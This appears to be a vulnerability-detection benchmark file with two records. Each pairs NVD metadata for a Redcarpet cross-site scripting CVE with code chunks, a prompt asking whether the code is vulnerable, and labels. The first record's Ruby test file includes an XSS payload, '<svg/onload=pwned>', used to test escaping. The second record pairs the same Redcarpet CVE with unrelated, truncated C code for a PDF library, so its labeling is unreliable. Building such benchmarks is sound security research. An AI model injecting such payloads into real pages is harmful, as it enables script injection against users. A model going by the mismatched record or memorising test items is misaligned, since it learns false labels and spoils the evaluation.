{"buggy_code_end_loc": [1, 260, 6, 8, 222], "buggy_code_start_loc": [1, 257, 5, 4, 222], "filenames": ["CHANGELOG.md", "ext/redcarpet/html.c", "lib/redcarpet.rb", "redcarpet.gemspec", "test/markdown_test.rb"], "fixing_code_end_loc": [9, 267, 6, 8, 233], "fixing_code_start_loc": [2, 258, 5, 4, 223], "message": "Redcarpet is a Ruby library for Markdown processing. In Redcarpet before version 3.5.1, there is an injection vulnerability which can enable a cross-site scripting attack. In affected versions no HTML escaping was being performed when processing quotes. This applies even when the `:escape_html` option was being used. This is fixed in version 3.5.1 by the referenced commit.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:redcarpet_project:redcarpet:*:*:*:*:*:ruby:*:*", "matchCriteriaId": "902228CC-361A-4FB7-B856-DB57477CD68F", "versionEndExcluding": "3.5.1", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:debian:debian_linux:9.0:*:*:*:*:*:*:*", "matchCriteriaId": "DEECE5FC-CACF-4496-A3E7-164736409252", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*", "matchCriteriaId": "07B237A9-69A3-4A9C-9DA0-4E06BD37AE73", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "Redcarpet is a Ruby library for Markdown processing. In Redcarpet before version 3.5.1, there is an injection vulnerability which can enable a cross-site scripting attack. In affected versions no HTML escaping was being performed when processing quotes. This applies even when the `:escape_html` option was being used. This is fixed in version 3.5.1 by the referenced commit."}, {"lang": "es", "value": "Redcarpet es una biblioteca de Ruby para el procesamiento de Descuentos.&#xa0;En Redcarpet versiones anteriores a 3.5.1, se presenta una vulnerabilidad de inyecci\u00f3n que puede habilitar un ataque de tipo cross-site scripting.&#xa0;En las versiones afectadas, no se llevaba a cabo ning\u00fan escape HTML al procesar las cotizaciones.&#xa0;Esto aplica incluso cuando la opci\u00f3n \":escape_html\" hab\u00eda sido usada.&#xa0;Esto es corregido en la versi\u00f3n 3.5.1 mediante la confirmaci\u00f3n de referencia"}], "evaluatorComment": null, "id": "CVE-2020-26298", "lastModified": "2023-05-09T04:15:40.053", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "LOW", "cvssData": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 3.5, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N", "version": "2.0"}, "exploitabilityScore": 6.8, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true}], "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.4, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1"}, "exploitabilityScore": 2.3, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary"}, {"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.8, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:N", "version": "3.1"}, "exploitabilityScore": 2.3, "impactScore": 4.0, "source": "security-advisories@github.com", "type": "Secondary"}]}, "published": "2021-01-11T19:15:13.133", "references": [{"source": "security-advisories@github.com", "tags": ["Third Party Advisory"], "url": "https://github.com/advisories/GHSA-q3wr-qw3g-3p4h"}, {"source": "security-advisories@github.com", "tags": ["Release Notes", "Third Party Advisory"], "url": "https://github.com/vmg/redcarpet/blob/master/CHANGELOG.md#version-351-security"}, {"source": "security-advisories@github.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/vmg/redcarpet/commit/a699c82292b17c8e6a62e1914d5eccc252272793"}, {"source": "security-advisories@github.com", "tags": ["Mailing List", "Third Party Advisory"], "url": "https://lists.debian.org/debian-lts-announce/2021/01/msg00014.html"}, {"source": "security-advisories@github.com", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BFMYDIONVWATY7EB6EARDVXT47AYCRNM/"}, {"source": "security-advisories@github.com", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/FNO4ZZUPGAEUXKQL4G2HRIH7CUZKPCT6/"}, {"source": "security-advisories@github.com", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PXNNWHHAPREDM3XJDACYRTK7DBMUONBI/"}, {"source": "security-advisories@github.com", "tags": ["Product", "Third Party Advisory"], "url": "https://rubygems.org/gems/redcarpet"}, {"source": "security-advisories@github.com", "tags": ["Third Party Advisory"], "url": "https://www.debian.org/security/2021/dsa-4831"}], "sourceIdentifier": "security-advisories@github.com", "vendorComments": null, "vulnStatus": "Modified", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-79"}], "source": "security-advisories@github.com", "type": "Primary"}]}, "github_commit_url": "https://github.com/vmg/redcarpet/commit/a699c82292b17c8e6a62e1914d5eccc252272793"}, "type": "CWE-74"}
146
Determine whether the {function_name} code is vulnerable or not.
[ "# coding: UTF-8\nrequire 'test_helper'", "class MarkdownTest < Redcarpet::TestCase\n def setup\n @renderer = Redcarpet::Render::HTML\n end", " def test_that_simple_one_liner_goes_to_html\n assert_equal \"<p>Hello World.</p>\", render(\"Hello World.\")\n end", " def test_that_inline_markdown_goes_to_html\n assert_equal \"<p><em>Hello World</em>!</p>\", render('_Hello World_!')\n end", " def test_that_inline_markdown_starts_and_ends_correctly\n output = render('_start _ foo_bar bar_baz _ end_ *italic* **bold** <a>_blah_</a>', with: [:no_intra_emphasis])\n expected = \"<p><em>start _ foo_bar bar_baz _ end</em> <em>italic</em> <strong>bold</strong> <a><em>blah</em></a></p>\"", " assert_equal expected, output", " output = render(\"Run 'rake radiant:extensions:rbac_base:migrate'\")\n expected = \"<p>Run &#39;rake radiant:extensions:rbac_base:migrate&#39;</p>\"", " assert_equal expected, output\n end", " def test_that_urls_are_not_doubly_escaped\n output = render('[Page 2](/search?query=Markdown+Test&page=2)')\n assert_equal \"<p><a href=\\\"/search?query=Markdown+Test&page=2\\\">Page 2</a></p>\", output\n end", " def test_simple_inline_html\n output = render(\"before\\n\\n<div>\\n foo\\n</div>\\n\\nafter\")\n expected = \"<p>before</p>\\n\\n<div>\\n foo\\n</div>\\n\\n<p>after</p>\"", " assert_equal expected, output\n end", " def test_that_html_blocks_do_not_require_their_own_end_tag_line\n output = render(\"Para 1\\n\\n<div><pre>HTML block\\n</pre></div>\\n\\nPara 2 [Link](#anchor)\")\n expected = \"<p>Para 1</p>\\n\\n<div><pre>HTML block\\n</pre></div>\\n\\n<p>Para 2 <a href=\\\"#anchor\\\">Link</a></p>\"", " assert_equal expected, output\n end", " # This isn't in the spec but is Markdown.pl behavior.\n def test_block_quotes_preceded_by_spaces\n output = render <<-Markdown.strip_heredoc\n A wise man once said:", "\n > Isn't it wonderful just to be alive.\n Markdown\n expected = <<-HTML.chomp.strip_heredoc\n <p>A wise man once said:</p>", " <blockquote>\n <p>Isn&#39;t it wonderful just to be alive.</p>\n </blockquote>\n HTML", " assert_equal expected, output\n end", " def test_para_before_block_html_should_not_wrap_in_p_tag\n output = render(\"Things to watch out for\\n<ul>\\n<li>Blah</li>\\n</ul>\", with: [:lax_spacing])\n expected = \"<p>Things to watch out for</p>\\n\\n<ul>\\n<li>Blah</li>\\n</ul>\"", " assert_equal expected, output\n end", " # https://github.com/vmg/redcarpet/issues/111\n def test_p_with_less_than_4space_indent_should_not_be_part_of_last_list_item\n text = <<-Markdown\n * a\n * b\n * c", " This paragraph is not part of the list.\n Markdown\n expected = <<-HTML.chomp.strip_heredoc\n <ul>\n <li>a</li>\n <li>b</li>\n <li>c</li>\n </ul>", " <p>This paragraph is not part of the list.</p>\n HTML", " assert_equal expected, render(text)\n end", " # http://github.com/rtomayko/rdiscount/issues/#issue/13\n def test_headings_with_trailing_space\n text = \"The Ant-Sugar Tales \\n\" +\n \"=================== \\n\\n\" +\n \"By Candice Yellowflower \\n\"", " assert_equal \"<h1>The Ant-Sugar Tales </h1>\\n\\n<p>By Candice Yellowflower </p>\", render(text)\n end", " def test_that_intra_emphasis_works\n assert_equal \"<p>foo<em>bar</em>baz</p>\", render(\"foo_bar_baz\")\n assert_equal \"<p>foo_bar_baz</p>\", render(\"foo_bar_baz\", with: [:no_intra_emphasis])\n end", " def test_that_autolink_flag_works\n output = render(\"http://github.com/rtomayko/rdiscount\", with: [:autolink])\n expected = \"<p><a href=\\\"http://github.com/rtomayko/rdiscount\\\">http://github.com/rtomayko/rdiscount</a></p>\"", " assert_equal expected, output\n end", " def test_that_tags_can_have_dashes_and_underscores\n output = render(\"foo <asdf-qwerty>bar</asdf-qwerty> and <a_b>baz</a_b>\")\n expected = \"<p>foo <asdf-qwerty>bar</asdf-qwerty> and <a_b>baz</a_b></p>\"", " assert_equal expected, output\n end", " def test_link_syntax_is_not_processed_within_code_blocks\n output = render(\" This is a code block\\n This is a link [[1]] inside\\n\")\n expected = \"<pre><code>This is a code block\\nThis is a link [[1]] inside\\n</code></pre>\"", " assert_equal expected, output\n end", " def test_whitespace_after_urls\n output = render(\"Japan: http://www.abc.net.au/news/events/japan-quake-2011/beforeafter.htm (yes, japan)\", with: [:autolink])\n expected = %(<p>Japan: <a href=\"http://www.abc.net.au/news/events/japan-quake-2011/beforeafter.htm\">http://www.abc.net.au/news/events/japan-quake-2011/beforeafter.htm</a> (yes, japan)</p>)", " assert_equal expected, output\n end", " def test_memory_leak_when_parsing_char_links\n render(<<-leaks.strip_heredoc)\n 2. Identify the wild-type cluster and determine all clusters\n containing or contained by it:", " wildtype <- wildtype.cluster(h)\n wildtype.mask <- logical(nclust)\n wildtype.mask[c(contains(h, wildtype),\n wildtype,\n contained.by(h, wildtype))] <- TRUE", " This could be more elegant.\n leaks\n end", " def test_infinite_loop_in_header\n assert_equal \"<h1>Body</h1>\", render(<<-header.strip_heredoc)\n ######\n #Body#\n ######\n header\n end", " def test_a_hyphen_and_a_equal_should_not_be_converted_to_heading\n assert_equal \"<p>-</p>\", render(\"-\")\n assert_equal \"<p>=</p>\", render(\"=\")\n end", " def test_that_tables_flag_works\n text = <<-Markdown.strip_heredoc\n aaa | bbbb\n -----|------\n hello|sailor\n Markdown", " assert render(text) !~ /<table/\n assert render(text, with: [:tables]) =~ /<table/\n end", " def test_that_tables_work_with_org_table_syntax\n text = <<-Markdown.strip_heredoc\n | aaa | bbbb |\n |-----+------|\n |hello|sailor|\n Markdown", " assert render(text) !~ /<table/\n assert render(text, with: [:tables]) =~ /<table/\n end", " def test_strikethrough_flag_works\n text = \"this is ~some~ striked ~~text~~\"", " assert render(text) !~ /<del/\n assert render(text, with: [:strikethrough]) =~ /<del/\n end", " def test_underline_flag_works\n text = \"this is *some* text that is _underlined_. ___boom___\"\n output = render(text, with: [:underline])", " refute render(text).include? '<u>underlined</u>'", " assert output.include? '<u>underlined</u>'\n assert output.include? '<em>some</em>'\n end", " def test_highlight_flag_works\n text = \"this is ==highlighted==\"\n output = render(text, with: [:highlight])", " refute render(text).include? '<mark>highlighted</mark>'", " assert output.include? '<mark>highlighted</mark>'\n end", " def test_quote_flag_works\n text = 'this is a \"quote\"'\n output = render(text, with: [:quote])", " refute render(text).include? '<q>quote</q>'", " assert_equal '<p>this is a <q>quote</q></p>', output\n end\n", " def test_quote_flag_honors_escape_html\n text = 'We are not \"<svg/onload=pwned>\"'", " output_enabled = render(text, with: [:quote, :escape_html])\n output_disabled = render(text, with: [:quote])", " assert_equal \"<p>We are not <q>&lt;svg/onload=pwned&gt;</q></p>\", output_enabled\n assert_equal \"<p>We are not <q><svg/onload=pwned></q></p>\", output_disabled\n end\n", " def test_that_fenced_flag_works\n text = <<-fenced.strip_heredoc\n This is a simple test", " ~~~~~\n This is some awesome code\n with tabs and shit\n ~~~\n fenced", " assert render(text) !~ /<code/\n assert render(text, with: [:fenced_code_blocks]) =~ /<code/\n end", " def test_that_fenced_flag_works_without_space\n text = \"foo\\nbar\\n```\\nsome\\ncode\\n```\\nbaz\"\n output = render(text, with: [:fenced_code_blocks, :lax_spacing])", " assert output.include?(\"<pre><code>\")", " output = render(text, with: [:fenced_code_blocks])\n assert !output.include?(\"<pre><code>\")\n end", " def test_that_indented_code_preserves_references\n text = <<-indented.strip_heredoc\n This is normal text", " Link to [Google][1]", " [1]: http://google.com\n indented", " output = render(text, with: [:fenced_code_blocks])\n assert output.include?(\"[1]: http://google.com\")\n end", " def test_that_fenced_flag_preserves_references\n text = <<-fenced.strip_heredoc\n This is normal text", " ```\n Link to [Google][1]", " [1]: http://google.com\n ```\n fenced", " out = render(text, with: [:fenced_code_blocks])\n assert out.include?(\"[1]: http://google.com\")\n end", " def test_that_fenced_code_copies_language_verbatim_with_braces\n text = \"```{rust,no_run}\\nx = 'foo'\\n```\"\n html = render(text, with: [:fenced_code_blocks])", " assert_equal \"<pre><code class=\\\"rust,no_run\\\">x = &#39;foo&#39;\\n</code></pre>\", html\n end", " def test_that_fenced_code_copies_language_verbatim\n text = \"```rust,no_run\\nx = 'foo'\\n```\"\n html = render(text, with: [:fenced_code_blocks])", " assert_equal \"<pre><code class=\\\"rust,no_run\\\">x = &#39;foo&#39;\\n</code></pre>\", html\n end", " def test_that_indented_flag_works\n text = <<-indented.strip_heredoc\n This is a simple text", " This is some awesome code\n with shit", " And this is again a simple text\n indented", " assert render(text) =~ /<code/\n assert render(text, with: [:disable_indented_code_blocks]) !~ /<code/\n end", " def test_that_headers_are_linkable\n output = render('### Hello [GitHub](http://github.com)')\n expected = \"<h3>Hello <a href=\\\"http://github.com\\\">GitHub</a></h3>\"", " assert_equal expected, output\n end", " def test_autolinking_with_ent_chars\n markdown = <<-Markdown.strip_heredoc\n This a stupid link: https://github.com/rtomayko/tilt/issues?milestone=1&state=open\n Markdown\n output = render(markdown, with: [:autolink])", " assert_equal \"<p>This a stupid link: <a href=\\\"https://github.com/rtomayko/tilt/issues?milestone=1&state=open\\\">https://github.com/rtomayko/tilt/issues?milestone=1&amp;state=open</a></p>\", output\n end", " def test_spaced_headers\n output = render(\"#123 a header yes\\n\", with: [:space_after_headers])", " assert output !~ /<h1>/\n end", " def test_proper_intra_emphasis\n assert render(\"http://en.wikipedia.org/wiki/Dave_Allen_(comedian)\", with: [:no_intra_emphasis]) !~ /<em>/\n assert render(\"this fails: hello_world_\", with: [:no_intra_emphasis]) !~ /<em>/\n assert render(\"this also fails: hello_world_#bye\", with: [:no_intra_emphasis]) !~ /<em>/\n assert render(\"this works: hello_my_world\", with: [:no_intra_emphasis]) !~ /<em>/\n assert render(\"句中**粗體**測試\", with: [:no_intra_emphasis]) =~ /<strong>/", " markdown = \"This is (**bold**) and this_is_not_italic!\"\n output = \"<p>This is (<strong>bold</strong>) and this_is_not_italic!</p>\"", " assert_equal output, render(markdown, with: [:no_intra_emphasis])", " markdown = \"This is \\\"**bold**\\\"\"\n output = \"<p>This is &quot;<strong>bold</strong>&quot;</p>\"\n assert_equal output, render(markdown, with: [:no_intra_emphasis])\n end", " def test_emphasis_escaping\n assert_equal \"<p><strong>foo*</strong> <em>dd_dd</em></p>\", render(\"**foo\\\\*** _dd\\\\_dd_\")\n end", " def test_char_escaping_when_highlighting\n output = render(\"==attribute\\\\===\", with: [:highlight])", " assert_equal \"<p><mark>attribute=</mark></p>\", output\n end", " def test_ordered_lists_with_lax_spacing\n output = render(\"Foo:\\n1. Foo\\n2. Bar\", with: [:lax_spacing])", " assert_match /<ol>/, output\n assert_match /<li>Foo<\\/li>/, output\n end", " def test_references_with_tabs_after_colon\n output = render(\"[Link][id]\\n[id]:\\t\\t\\thttp://google.es\")", " assert_equal \"<p><a href=\\\"http://google.es\\\">Link</a></p>\", output\n end", " def test_superscript\n output = render(\"this is the 2^nd time\", with: [:superscript])", " assert_equal \"<p>this is the 2<sup>nd</sup> time</p>\", output\n end", " def test_superscript_enclosed_in_parenthesis\n output = render(\"this is the 2^(nd) time\", with: [:superscript])", " assert_equal \"<p>this is the 2<sup>nd</sup> time</p>\", output\n end", " def test_no_rewind_into_previous_inline\n result = \"<p><em>!dl</em><a href=\\\"mailto:1@danlec.com\\\">1@danlec.com</a></p>\"\n output = render(\"_!dl_1@danlec.com\", with: [:autolink])", " assert_equal result, output", " result = \"<p>abc123<em><a href=\\\"http://www.foo.com\\\">www.foo.com</a></em>@foo.com</p>\"\n output = render(\"abc123_www.foo.com_@foo.com\", with: [:autolink])", " assert_equal result, output\n end", " def test_autolink_with_period_next_to_url\n result = %(<p>Checkout a cool site like <a href=\"https://github.com\">https://github.com</a>.</p>)\n output = render(\"Checkout a cool site like https://github.com.\", with: [:autolink])", " assert_equal result, output\n end", " def test_single_dashes_on_table_headers\n markdown = <<-Markdown.strip_heredoc\n | a | b |\n | - | - |\n | c | d |\n Markdown\n output = render(markdown, with: [:tables])", " assert_match /<table>/, output\n end\nend" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [1, 260, 6, 8, 222], "buggy_code_start_loc": [1, 257, 5, 4, 222], "filenames": ["CHANGELOG.md", "ext/redcarpet/html.c", "lib/redcarpet.rb", "redcarpet.gemspec", "test/markdown_test.rb"], "fixing_code_end_loc": [9, 267, 6, 8, 233], "fixing_code_start_loc": [2, 258, 5, 4, 223], "message": "Redcarpet is a Ruby library for Markdown processing. In Redcarpet before version 3.5.1, there is an injection vulnerability which can enable a cross-site scripting attack. In affected versions no HTML escaping was being performed when processing quotes. This applies even when the `:escape_html` option was being used. This is fixed in version 3.5.1 by the referenced commit.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:redcarpet_project:redcarpet:*:*:*:*:*:ruby:*:*", "matchCriteriaId": "902228CC-361A-4FB7-B856-DB57477CD68F", "versionEndExcluding": "3.5.1", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:debian:debian_linux:9.0:*:*:*:*:*:*:*", "matchCriteriaId": "DEECE5FC-CACF-4496-A3E7-164736409252", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*", "matchCriteriaId": "07B237A9-69A3-4A9C-9DA0-4E06BD37AE73", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "Redcarpet is a Ruby library for Markdown processing. In Redcarpet before version 3.5.1, there is an injection vulnerability which can enable a cross-site scripting attack. In affected versions no HTML escaping was being performed when processing quotes. This applies even when the `:escape_html` option was being used. This is fixed in version 3.5.1 by the referenced commit."}, {"lang": "es", "value": "Redcarpet es una biblioteca de Ruby para el procesamiento de Descuentos.&#xa0;En Redcarpet versiones anteriores a 3.5.1, se presenta una vulnerabilidad de inyecci\u00f3n que puede habilitar un ataque de tipo cross-site scripting.&#xa0;En las versiones afectadas, no se llevaba a cabo ning\u00fan escape HTML al procesar las cotizaciones.&#xa0;Esto aplica incluso cuando la opci\u00f3n \":escape_html\" hab\u00eda sido usada.&#xa0;Esto es corregido en la versi\u00f3n 3.5.1 mediante la confirmaci\u00f3n de referencia"}], "evaluatorComment": null, "id": "CVE-2020-26298", "lastModified": "2023-05-09T04:15:40.053", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "LOW", "cvssData": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 3.5, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N", "version": "2.0"}, "exploitabilityScore": 6.8, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true}], "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.4, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1"}, "exploitabilityScore": 2.3, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary"}, {"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.8, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:N", "version": "3.1"}, "exploitabilityScore": 2.3, "impactScore": 4.0, "source": "security-advisories@github.com", "type": "Secondary"}]}, "published": "2021-01-11T19:15:13.133", "references": [{"source": "security-advisories@github.com", "tags": ["Third Party Advisory"], "url": "https://github.com/advisories/GHSA-q3wr-qw3g-3p4h"}, {"source": "security-advisories@github.com", "tags": ["Release Notes", "Third Party Advisory"], "url": "https://github.com/vmg/redcarpet/blob/master/CHANGELOG.md#version-351-security"}, {"source": "security-advisories@github.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/vmg/redcarpet/commit/a699c82292b17c8e6a62e1914d5eccc252272793"}, {"source": "security-advisories@github.com", "tags": ["Mailing List", "Third Party Advisory"], "url": "https://lists.debian.org/debian-lts-announce/2021/01/msg00014.html"}, {"source": "security-advisories@github.com", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BFMYDIONVWATY7EB6EARDVXT47AYCRNM/"}, {"source": "security-advisories@github.com", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/FNO4ZZUPGAEUXKQL4G2HRIH7CUZKPCT6/"}, {"source": "security-advisories@github.com", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PXNNWHHAPREDM3XJDACYRTK7DBMUONBI/"}, {"source": "security-advisories@github.com", "tags": ["Product", "Third Party Advisory"], "url": "https://rubygems.org/gems/redcarpet"}, {"source": "security-advisories@github.com", "tags": ["Third Party Advisory"], "url": "https://www.debian.org/security/2021/dsa-4831"}], "sourceIdentifier": "security-advisories@github.com", "vendorComments": null, "vulnStatus": "Modified", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-79"}], "source": "security-advisories@github.com", "type": "Primary"}]}, "github_commit_url": "https://github.com/vmg/redcarpet/commit/a699c82292b17c8e6a62e1914d5eccc252272793"}, "type": "CWE-74"}
146
Determine whether the {function_name} code is vulnerable or not.
[ "/**\n * Simple engine for creating PDF files.\n * It supports text, shapes, images etc...\n * Capable of handling millions of objects without too much performance\n * penalty.\n * Public domain license - no warrenty implied; use at your own risk.\n */", "/**\n * PDF HINTS & TIPS\n * The following sites have various bits & pieces about PDF document\n * generation\n * http://www.mactech.com/articles/mactech/Vol.15/15.09/PDFIntro/index.html\n * http://gnupdf.org/Introduction_to_PDF\n * http://www.planetpdf.com/mainpage.asp?WebPageID=63\n * http://archive.vector.org.uk/art10008970\n * http://www.adobe.com/devnet/acrobat/pdfs/pdf_reference_1-7.pdf\n * https://blog.idrsolutions.com/2013/01/understanding-the-pdf-file-format-overview/\n *\n * To validate the PDF output, there are several online validators:\n * http://www.validatepdfa.com/online.htm\n * http://www.datalogics.com/products/callas/callaspdfA-onlinedemo.asp\n * http://www.pdf-tools.com/pdf/validate-pdfa-online.aspx\n *\n * In addition the 'pdftk' server can be used to analyse the output:\n * https://www.pdflabs.com/docs/pdftk-cli-examples/\n *\n * PDF page markup operators:\n * b closepath, fill,and stroke path.\n * B fill and stroke path.\n * b* closepath, eofill,and stroke path.\n * B* eofill and stroke path.\n * BI begin image.\n * BMC begin marked content.\n * BT begin text object.\n * BX begin section allowing undefined operators.\n * c curveto.\n * cm concat. Concatenates the matrix to the current transform.\n * cs setcolorspace for fill.\n * CS setcolorspace for stroke.\n * d setdash.\n * Do execute the named XObject.\n * DP mark a place in the content stream, with a dictionary.\n * EI end image.\n * EMC end marked content.\n * ET end text object.\n * EX end section that allows undefined operators.\n * f fill path.\n * f* eofill Even/odd fill path.\n * g setgray (fill).\n * G setgray (stroke).\n * gs set parameters in the extended graphics state.\n * h closepath.\n * i setflat.\n * ID begin image data.\n * j setlinejoin.\n * J setlinecap.\n * k setcmykcolor (fill).\n * K setcmykcolor (stroke).\n * l lineto.\n * m moveto.\n * M setmiterlimit.\n * n end path without fill or stroke.\n * q save graphics state.\n * Q restore graphics state.\n * re rectangle.\n * rg setrgbcolor (fill).\n * RG setrgbcolor (stroke).\n * s closepath and stroke path.\n * S stroke path.\n * sc setcolor (fill).\n * SC setcolor (stroke).\n * sh shfill (shaded fill).\n * Tc set character spacing.\n * Td move text current point.\n * TD move text current point and set leading.\n * Tf set font name and size.\n * Tj show text.\n * TJ show text, allowing individual character positioning.\n * TL set leading.\n * Tm set text matrix.\n * Tr set text rendering mode.\n * Ts set super/subscripting text rise.\n * Tw set word spacing.\n * Tz set horizontal scaling.\n * T* move to start of next line.\n * v curveto.\n * w setlinewidth.\n * W clip.\n * y curveto.\n */", "#define _POSIX_SOURCE /* For localtime_r */\n#include <sys/types.h>\n#include <ctype.h>\n#include <sys/stat.h>\n#include <errno.h>\n#include <limits.h>\n#include <stdarg.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <time.h>\n#include <unistd.h>", "#include \"pdfgen.h\"", "#define ARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0]))", "#define PDF_RGB_R(c) ((((c) >> 16) & 0xff) / 255.0)\n#define PDF_RGB_G(c) ((((c) >> 8) & 0xff) / 255.0)\n#define PDF_RGB_B(c) ((((c) >> 0) & 0xff) / 255.0)", "#if defined(_MSC_VER)\n/*\n * As stated here: http://stackoverflow.com/questions/70013/how-to-detect-if-im-compiling-code-with-visual-studio-2008\n * Visual Studio 2015 has better support for C99\n * We need to use __inline for older version.\n */\n#if _MSC_VER < 1900\n#define inline __inline\n#endif\n#endif // _MSC_VER", "typedef struct pdf_object pdf_object;", "enum {\n OBJ_none, /* skipped */\n OBJ_info,\n OBJ_stream,\n OBJ_font,\n OBJ_page,\n OBJ_bookmark,\n OBJ_outline,\n OBJ_catalog,\n OBJ_pages,\n OBJ_image,", " OBJ_count,\n};", "struct flexarray {\n void ***bins;\n int item_count;\n int bin_count;\n};", "struct pdf_object {\n int type; /* See OBJ_xxxx */\n int index; /* PDF output index */\n int offset; /* Byte position within the output file */\n struct pdf_object *prev; /* Previous of this type */\n struct pdf_object *next; /* Next of this type */\n union {\n struct {\n struct pdf_object *page;\n char name[64];\n struct pdf_object *parent;\n struct flexarray children;\n } bookmark;\n struct {\n char *text;\n int len;\n } stream;\n struct {\n int width;\n int height;\n struct flexarray children;\n } page;\n struct pdf_info info;\n struct {\n char name[64];\n int index;\n } font;\n };\n};", "struct pdf_doc {\n char errstr[128];\n int errval;\n struct flexarray objects;", " int width;\n int height;", " struct pdf_object *current_font;", " struct pdf_object *last_objects[OBJ_count];\n struct pdf_object *first_objects[OBJ_count];\n};", "/**\n * Simple flexible resizing array implementation\n * The bins get larger in powers of two\n * bin 0 = 1024 items\n * 1 = 2048 items\n * 2 = 4096 items\n * etc...\n */\n/* What is the first index that will be in the given bin? */\n#define MIN_SHIFT 10\n#define MIN_OFFSET ((1 << MIN_SHIFT) - 